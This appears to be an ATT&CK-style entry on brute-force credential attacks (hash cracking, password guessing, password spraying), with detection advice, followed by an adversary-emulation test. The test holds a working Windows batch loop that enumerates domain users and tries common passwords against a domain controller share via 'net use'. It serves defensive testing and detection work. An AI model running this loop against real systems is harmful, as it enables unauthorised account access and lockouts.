Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.Credential Dumping to obtain password hashes may only get an adversary so far when Pass the Hash is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)
Adversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)
A related technique called password spraying uses one password, or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)
Detection: It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network.
Monitor authentication logs for system and application login failures of Valid Accounts. If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.
Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.
Platforms: Linux, macOS, Windows
Data Sources: Authentication logs
Permissions Required: User
Contributors: John Strand
Creates username and password files then attempts to brute force on remote host
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
input_file_users | Path to a file containing a list of users that we will attempt to brute force | Path | DomainUsers.txt |
input_file_passwords | Path to a file containing a list of passwords we will attempt to brute force with | Path | passwords.txt |
remote_host | Hostname of the target system we will brute force upon | String | \COMPANYDC1\IPC$ |
domain | Domain name of the target system we will brute force upon | String | YOUR_COMPANY |
net user /domain > #{input_file_users}
echo "Password1" >> #{input_file_passwords}
echo "1q2w3e4r" >> #{input_file_passwords}
echo "Password!" >> #{input_file_passwords}
@FOR /F %n in (#{input_file_users}) DO @FOR /F %p in (#{input_file_passwords}) DO @net use #{remote_host} /user:#{domain}\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete #{remote_host} > NUL